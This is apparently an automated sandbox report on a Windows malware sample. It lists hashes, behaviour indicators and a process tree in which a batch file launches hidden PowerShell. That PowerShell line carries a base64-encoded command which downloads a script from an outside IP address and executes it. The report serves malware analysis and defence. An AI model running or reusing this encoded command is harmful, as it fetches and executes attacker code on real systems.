a3fa04d27872b1fea175ee7ca2665ee3b8384db4b6a93f8015cc47e6dddf757d

Analysis

Target
7e7fdba873e8ebc6200a15c48736b4fe.exe
Size 292KB
Sample220101-we6d6sgcgr
SHA256 a3fa04d27872b1fea175ee7ca2665ee3b8384db4b6a93f8015cc47e6dddf757d
MD5 7e7fdba873e8ebc6200a15c48736b4fe
SHA1 05c5b77be77902569dcb54d3c63af683fe23804d
SHA512 6d79fcffc7a381249cd300042dde8275d1c329b713e737c45487915d364ca8dde58319a18dcbfbdc23968bc0d8eb1589ed52eb76483041ba9597e39329e0082a
MD5 SHA1 SHA512

Score

1^/10

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
592	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	592	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1088 wrote to memory of 1796	1088	7e7fdba873e8ebc6200a15c48736b4fe.exe	27
PID 1088 wrote to memory of 1796	1088	7e7fdba873e8ebc6200a15c48736b4fe.exe	27
PID 1088 wrote to memory of 1796	1088	7e7fdba873e8ebc6200a15c48736b4fe.exe	27
PID 1796 wrote to memory of 592	1796	cmd.exe	29
PID 1796 wrote to memory of 592	1796	cmd.exe	29
PID 1796 wrote to memory of 592	1796	cmd.exe	29

C:\Users\Admin\AppData\Local\Temp\7e7fdba873e8ebc6200a15c48736b4fe.exe
"C:\Users\Admin\AppData\Local\Temp\7e7fdba873e8ebc6200a15c48736b4fe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1088
- C:\Windows\system32\cmd.exe
  cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\07AFPV28.bat" "C:\Users\Admin\AppData\Local\Temp\7e7fdba873e8ebc6200a15c48736b4fe.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1796
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -w h -enc IAAkAGEAPQBpAHcAcgAgACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANQAzAC4ANQA3AC4AMgAxADUALwB5AHIAZAAuAHAAcwAxACcAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAEEAcgBzAGkAbgBnACAAfABpAGUAeAA=
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:592

memory/592-57-0x000007FEFC321000-0x000007FEFC323000-memory.dmp

Download

memory/592-59-0x0000000002540000-0x0000000002542000-memory.dmp

Download

memory/592-60-0x0000000002542000-0x0000000002544000-memory.dmp

Download

memory/592-61-0x0000000002544000-0x0000000002547000-memory.dmp

Download

memory/592-58-0x000007FEF35B0000-0x000007FEF410D000-memory.dmp

Download